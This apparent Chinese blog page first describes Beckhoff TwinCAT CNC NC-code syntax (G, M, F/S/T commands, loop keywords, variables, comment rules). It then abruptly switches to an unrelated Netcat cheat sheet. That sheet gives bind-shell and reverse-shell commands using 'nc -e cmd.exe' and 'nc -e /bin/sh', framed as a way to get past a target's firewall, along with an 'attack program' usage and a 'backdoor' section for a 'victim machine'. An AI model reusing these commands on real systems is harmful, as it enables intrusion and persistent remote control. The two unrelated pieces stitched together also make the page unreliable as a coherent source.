倍福NC 代码介绍

倍福CNC 代码存储为一个以.NC 为后缀的文件,保存G 代码文件时需要保存为这个格式。 单段NC 程序包括:段号、功能识别字符以及数值或数值表达式等。 

G 功能标示符

NC 代码中的G 功能,用来规定机床与工件的相对运动轨迹、机床坐标系、坐标平面、刀具半径补偿、坐标偏置等,这些功能大致用于路径规划功能以及特殊的测量、补偿功能等,G 指令由字母 G 和后面的数字组成,常见系统包括两个数字,倍福系统提供了一些特殊功能最多包含了 3 个数字,以实现更加灵活的功能控制;

M指令辅助功能

辅助功能主要是控制机床或数控系统的开关功能,如开关冷却液机床外部信号功能,主轴正转、反转、停止、定位以及程序暂停、停止等系统功能。倍福CNC系统最大支持65535个M函数,根据版本不同,TwinCAT CNC目前支持M0-999函数,每个M函数可以根据具体使用赋予不同的属性,以满足实际需求。同时辅助功能H函数最大支持65535个,目前的版本CNC中支持H0-H999。

F、S、T功能指令
1) F指令
F指令是指系统给定进给速度指令,通常直接给定速度值,如F1000,即速度为1000mm/min;
2) S指令
S指令是指主轴转速指令,直接给定速度值,不同于F指令的是,S指令速度值为转/分,如S1000,即为主轴转速为1000转/分,搭配M函数执行M03\M04\M05M19等;
3) T、D指令
T指令是用于指定加工刀具号,用于具有刀具的加工机床,通常搭配D指令执行。实现相应刀具的切换。
其他指令
1) 循环功能块:

循环指令是指在 G 代码执行过程中根据实际要求进行循环执行的指令,循环指令减少了大量的重复执行代码,实现正常的指令无法做到的无限条件循环等功能。倍福的循环指令非常丰富,如下: 

条件跳转:$IF, $ELSEIF, $ELSE, $ENDIF, 
$SWITCH, $CASE, $DEFAULT, $ENDSWITCH, $BREAK 累加循环:$FOR, $ENDFOR, $CONTINUE, $BREAK 
执行条件循环:$WHILE, $ENDWHILE, $CONTINUE, $BREAK 无执行条件循环:$DO, $ENDDO, $CONTINUE, $BREAK 

同NC文件跳转:$GOTO 

2)数学表达式

数学表达式在G代码中,可以用于条件判断也可以用于轴位置的内部计算,可用的数学公式如下: 

标准算术操作:+ , - , * , / , ** , MOD 

数学表达式:ABS,SQR,SQRT,EXP,LN,DEXP,LOG 角度表达式:SIN,COS,TAN,ASIN,ACOS,ATAN 单位换算:INT,FRACT,ROUND 

数学表达式:

数学符号、数字、功能参数、变量等都可以在表达式中体现,示例如下:[[sin["MAX_ANZ" * 30.00] + P2] / V.G.SATZ_NR]

3)变量定义,

NC 代码中可以定义本地变量、全局变量等变量类型,并包括系统内部变量与外部变量。

系统内部变量主要针对轴变量V.A.NAME 以及通道变量V.G.NAME,通过 V.A.NAMAE,V.G.NAME 访问CNC 内部的数据诸如,各轴位置、测量数据、刀具数据、偏置等; 

本地变量与全局变量V.L.name、V.S.name、V.P.name 用于系统变量声明便于G 代码逻辑运算; 外部变量V.E.NAME 可以直接通过PLC 程序实时读取和写入,执行相应的系统功能; 

4) CNC 内部变量,特殊功能符
条件忽略行‘/’,在 CNC 控制中执行“跳行”功能,可以选择执行使用该功能的注释行。
5) 段号N 值:

该值用于指示当前行号,系统可以从HLI 中读出当前系统行号并进行操作。在NC 代码文件中,可以按照需要不使用、部分使用、每行代码都是用的方式。


6)注释内容

注释符号:“(”

注释内容几乎可以插入一个 NC 程序的任一位置,包括程序头。注释内容不影响 NC 运行。如果在程序段结尾单独注释可以只使用“(”,在程序行中间注释需要在结尾加注“)”。另一种方法使用 “;”,这种方式总是放在本行结束位置。允许嵌套注释。

% 100 (Comment in complete brackets) N200 ... (Comment only with open bracket N300 (Comment (Nested comment)) N500 X10 (Comment within a block) Y20 N700 ... ;Comment behind semicolon N999 M30  

瑞士军刀:nc.exe 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时) 基本用法: nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 高级用法: nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用:nc -l -p 本机端口 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机
软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值